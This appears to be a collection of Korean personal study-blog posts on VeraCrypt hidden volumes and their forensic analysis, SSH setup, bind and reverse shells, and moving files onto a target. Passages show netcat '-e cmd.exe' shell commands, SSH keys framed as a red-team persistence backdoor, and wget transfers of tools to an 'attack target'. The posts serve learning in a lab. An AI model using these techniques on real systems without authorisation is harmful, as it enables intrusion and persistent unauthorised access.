기존 VeraCrypt 볼륨 내에 숨겨진 볼륨을 생성한다.

숨겨진 볼륨이 있는 Standard VeraCrypt Volume에 암호가 존재하고, Hidden VeraCrypt Volume에 별도의 암호가 존재한다. 각각 볼륨에 접근하기 위해서 설정한 암호를 입력하면 된다. (숨겨진 볼륨에 접근하기 위해서는 Hidden VeraCrypt Volume의 암호를 입력하면 된다. 기본 볼륨 또한 마찬가지다.)

실습

1. Encrypt a non-system partition/drive -> Standard VeraCrypt Volume

기존에 존재하던 파티션인 E 드라이브를 암호화 해봤다.

암호화 과정 속 변화

암호화 전, 후를 보면 내부를 확인할 수 없게 되고, VeraCrypt를 이용해서 암호를 입력하면 볼륨을 복호화한 후 마운트시켜 내부를 확인할 수 있다.

2. Encrypt a non-system partition/drive -> Hidden VeraCrypt Volume

겉으로 보여지는 Standard VeraCrypt Volume은 1000MB를 할당했고, 그중 500 MB는 Hidden VeraCrypt Volume으로 할당했다.

암호화 과정 속 변화

각각 별도의 공간을 가지고 있으며, 만약 Standard VeraCrypt Volume의 크기가 Hidden VeraCrypt Volume 에 할당된 크기를 넘어가게 되면 숨겨진 볼륨의 데이터가 덮어 씌워질 수 있다.

Standard VeraCrypt Volume, Hidden VeraCrypt Volume에 각각 저장된 파일

느낀점

짧은 실습을 통해 느낀점은 로컬 컴퓨터에 있는 볼륨에 직접 암호화를 하는 것 보단 외장 저장매체 (USB, HDD, SSD 등)에 적용하거나 운영체제 자체를 암호로 걸어버리는 것도 좋을 것 같다. (가상 디스크 형태로 만드는 것도 포함)

VeraCrypt가 활성화된 볼륨 분석

FTK Imager에 올렸을때, 구조를 봤을때 VeraCrypt가 적용되어 있다는 것을 확인할 수 있는 무언가가 있을지 궁금해서 분석해봤다.

가상 디스크 파일 형태

가상 디스크 구조

알아볼 수 있는 규칙은 보이지 않는다. 용도를 알 수 없는 난해한 구조의 파일이 있고, VeraCrypt가 발견된다면 의심해봐야할 것 같다. (혹은 hc 확장자)

볼륨 형태

VeraCrypt를 통해 암호화된 볼륨은 파티션이 인식되지만 할당되지 않은 것으로 나타난다.

암호 해독

passware kit 도구를 이용하면 암호를 해독할 수 있다. (물론 암호의 강도가 높을수록 엄청난 시간과 자원이 필요하다.)

해독된 암호

SSH (Secure Shell)

오리꽥이로 — Fri, 7 Jun 2024 16:25:21 +0900

SSH (Secure Shell)

보호되지 않는 네트워크를 통해 컴퓨터에 연결할 때 안전한 연결이 가능하도록 하는 네트워크 프로토콜.

원격 시스템에 액세스할 때 데이터의 기밀성과 무결성을 유지하는데 필수적임.

작동 방식

언젠간 공부하지 않을까요~

SSH 활성화

user@user-None:~$ sudo service ssh start
user@user-None:~$ service ssh status
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: enabled)
    Drop-In: /etc/systemd/system/ssh.service.d
             └─00-socket.conf
     Active: active (running) since Mon 2024-06-10 10:09:03 KST; 4s ago
TriggeredBy: ● ssh.socket
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 3807 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 3808 (sshd)
      Tasks: 1 (limit: 19063)
     Memory: 1.4M
        CPU: 31ms
     CGroup: /system.slice/ssh.service
             └─3808 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Jun 10 10:09:03 user-None systemd[1]: Starting ssh.service - OpenBSD Secure She>
Jun 10 10:09:03 user-None sshd[3808]: Server listening on :: port 22.
Jun 10 10:09:03 user-None systemd[1]: Started ssh.service - OpenBSD Secure Shel>

SSH 설정 파일

파일 1: /etc/ssh/sshd_config

파일 2: /lib/systemd/system/ssh.socket

일부 옵션을 정리해봤다.

1. PermitRootLogin

root 계정 로그인 허용 여부는 PermitRootLogin 옵션을 변경해주면 된다.

PermitRootLogin yes

# 옵션 정보
prohibit-password: Key 파일을 통해 로그인이 가능. (비밀번호 로그인은 안됨)
yes : root 계정 비밀번호 입력 로그인 가능
no : root 계정 로그인 불가능

2. Port 변경

Port 변경은 Port 옵션을 변경해주면 되는데 Ubuntu 22.10 부터는 /sshd_config 파일이 아닌 /lib/systemd/system/ssh.socket 파일을 수정해야 된다. (ssh.socket의 ListenStream 옵션을 수정해주면 된다.)

/etc/ssh/sshd_config

Port 22

/lib/systemd/system/ssh.socket

ListenStream=3237

user@user-None:~$ sudo systemctl daemon-reload
user@user-None:~$ sudo systemctl restart ssh.socket
user@user-None:~$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: enabled)
    Drop-In: /etc/systemd/system/ssh.service.d
             └─00-socket.conf
     Active: active (running) since Mon 2024-06-10 14:18:15 KST; 11s ago
TriggeredBy: ● ssh.socket
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 13810 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 13811 (sshd)
      Tasks: 1 (limit: 19063)
     Memory: 1.4M
        CPU: 23ms
     CGroup: /system.slice/ssh.service
             └─13811 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Jun 10 14:18:15 user-None systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Jun 10 14:18:15 user-None sshd[13811]: Server listening on :: port 3237.
Jun 10 14:18:15 user-None systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
user@user-None:~$ sudo netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
---- 중략 ----
tcp6       0      0 :::3237                 :::*                    LISTEN      1/systemd

3. SSH 공개키 자동 로그인

공개키를 이용한 로그인을 허용하려면 아래 내용을 주석 해제한다.

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile     .ssh/authorized_keys

서버 연결 방법

일반적인 연결

user 계정으로 연결하는 방법은 다음과 같다.

포트를 기본 포트에서 3237로 변경했기 때문에 포트도 함께 지정한다.

user@DESKTOP-HBLKCUU:~$ ssh user@192.168.111.129
ssh: connect to host 192.168.111.129 port 22: Connection refused
user@DESKTOP-HBLKCUU:~$ ssh user@192.168.111.129 -p 3237
user@192.168.111.129's password:
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 14:15:39 2024 from 192.168.111.1
user@user-None:~$ whoami
user
user@user-None:~$ pwd
/home/user

root 계정으로 연결하는 방법은 다음과 같다.

root 계정 접속도 허용했으므로 테스트 해본다.

user@DESKTOP-HBLKCUU:~$ ssh root@192.168.111.129 -p 3237
root@192.168.111.129's password:
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 10:10:42 2024 from 192.168.111.1
root@user-None:~# whoami
root
root@user-None:~# pwd
/root

key(public, private) 를 이용한 연결

ssh 는 클라이언트 검증 과정에서 비대칭키 방식을 이용한다.

서버 혹은 클라이언트에서 발급한 공개키와 개인키를 이용하면 비밀번호 입력 없이(비밀번호 설정 가능) 접속할 수 있다.

레드 티밍을 진행할 때 공격 대상이 비밀번호를 바꿨을 경우에도 접속이 가능하다.

따라서 key 파일을 백도어로 활용하여 persistence를 유지할 수 있다.

키 생성

키 생성시 따로 암호를 입력하지 않았기 때문에 ssh로 접속할 때 암호를 묻지 않게 된다.

1. 클라이언트에서 키 생성

user@user-None:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): ^C
user@user-None:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/user/.ssh/id_rsa
Your public key has been saved in /home/user/.ssh/id_rsa.pub

user@user-None:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts  known_hosts.old

생성된 공개키를 서버에 등록한다.

user@user-None:~/.ssh$ cat >> authorized_keys
공개키 입력
Ctrl + D (저장)

이제 접속해보면 비밀번호 입력 없이 바로 접속할 수 있다.

user@DESKTOP-HBLKCUU:~/.ssh$ ssh -i id_rsa user@192.168.111.129 -p 3237
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 14:31:30 2024 from 192.168.111.1
user@user-None:~$ whoami
user
user@user-None:~$ pwd
/home/user

2. 서버에서 키 생성

서버 본인의 공개키를 등록한다.

user@user-None:~/.ssh$ cat >> authorized_keys
공개키 입력
Ctrl + D (저장)

서버의 개인키를 복사한 후 클라이언트에 복사한다.

user@DESKTOP-HBLKCUU:~/.ssh$ cat >> server_private
개인키 입력
Ctrl + D (저장)

여기서 이런 오류가 출력될 수 있다.

user@DESKTOP-HBLKCUU:~/.ssh$ ssh -i server_private user@192.168.111.129 -p 3237
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'server_private' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "server_private": bad permissions
user@192.168.111.129's password:

해결 방법은 클라이언트에 생성한 비밀키 파일의 권한을 600으로 변경시켜주면 된다.

user@DESKTOP-HBLKCUU:~/.ssh$ chmod 600 server_private
user@DESKTOP-HBLKCUU:~/.ssh$ ssh -i server_private user@192.168.111.129 -p 3237
Welcome to Ubuntu 23.10 (GNU/Linux 6.5.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

44 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

New release '24.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Mon Jun 10 16:22:09 2024 from 192.168.111.1

근데 만약 백도어 용도로 키를 생성한다면 클라이언트에서 생성한 공개키를 서버로 전송하는 것 보단, 서버에서 생성한 비밀키를 클라이언트에게 보내는 방법이 더 좋지 않을까 생각된다.

Bind Shell & Reverse Shell

오리꽥이로 — Thu, 30 May 2024 00:44:50 +0900

1. Bind Shell

서버(접속 대상)가 포트를 열면 클라이언트(접속자)가 접속하여 쉘을 여는 방법.
Bind Shell 을 여는 방법은 다음과 같다.

서버 (접속 대상)

C:\Users\user\Downloads>nc64.exe -lp 31337 -e cmd.exe

옵션
-l: listen 모드로 포트를 열어줌.
-p: 포트 지정.
-v: verbosity 증가, 더 많은 정보를 보여줌.
-e: 접속 후 실행될 명령어 지정.

클라이언트 (접속자)

C:\Users\user\Downloads>nc64.exe 127.0.0.1 31337
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user\Downloads>dir
dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 7207-E651

 C:\Users\user\Downloads 디렉터리

2024-05-30  오전 12:21    <DIR>          .
2024-05-30  오전 12:21    <DIR>          ..
2024-05-29  오후 11:39            45,272 nc64.exe
               1개 파일              45,272 바이트
               2개 디렉터리  38,869,729,280 바이트 남음

2. Reverse Shell

클라이언트(접속자)가 포트를 열면 서버(접속 대상)가 접속하여 쉘을 여는 방법으로 서버와 클라이언트의 역할이 바뀐다.

레드티밍을 진행하며 Reverse Shell을 사용하는 이유는 방화벽 때문이다.
방화벽은 필요한(지정된) 접속을 제외한 외부에서 내부로 들어오는 접속을 허용하지 않는다.
하지만 내부에서 외부로의 접속은 허용하는 경우가 많기 때문에 리버스 쉘을 열어서 서버에 접속 및 공격을 진행할 수 있다.

Reverse Shell 을 여는 방법은 다음과 같다.

서버 (접속 대상)

C:\Users\user\Downloads>nc64.exe 127.0.0.1 31337 -e cmd.exe

옵션
-l: listen 모드로 포트를 열어줌.
-p: 포트 지정.
-v: verbosity 증가, 더 많은 정보를 보여줌.
-e: 접속 후 실행될 명령어 지정.

클라이언트 (접속자)

C:\Users\user\Downloads>nc64.exe -lp 31337
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user\Downloads>dir
dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 7207-E651

 C:\Users\user\Downloads 디렉터리

2024-05-30  오전 12:21    <DIR>          .
2024-05-30  오전 12:21    <DIR>          ..
2024-05-29  오후 11:39            45,272 nc64.exe
               1개 파일              45,272 바이트
               2개 디렉터리  38,870,716,416 바이트 남음

3. 정리

공격 대상(접속 대상)에서 명령어를 실행시켜야 하므로 접속 후 실행될 명령어 (e 옵션) 은 공격 대상 (접속 대상) 서버에 줘야한다.

원격지에서 파일 옮기는 방법

오리꽥이로 — Wed, 29 May 2024 11:04:50 +0900

공격 대상 서버에 파일을 옮기는 방법에 대해 작성해봤다.

I. SCP (Secure Copy)

원격지에 있는 파일을 전송하거나 가져올때 사용하는 파일 전송 프로토콜.

원격지

scp <전송할 파일경로> <계정>@<주소>:<파일/디렉토리 경로>

예시
scp ./nmap root@10.10.110.100:/tmp

옵션
-P : 포트번호를 지정함
-p : 원본파일 수정/사용시간 및 권한을 유지함
-r : 하위 디렉토리 및 파일 모두 복사함

II. 웹 서버 열기

파이썬3의 http.server 모듈을 이용해서 서버를 연 후 wget을 이용해서 파일을 다운로드 한다.

원격지 명령어 (파일이 있는 디렉토리에서 실행해야 됨)
python3 -m http.server 8000

옵션
-m: 특정 모듈을 스크립트처럼 실행시키도록 해줌.

대상 서버 명령어
wget http://10.10.14.2:8000/nmap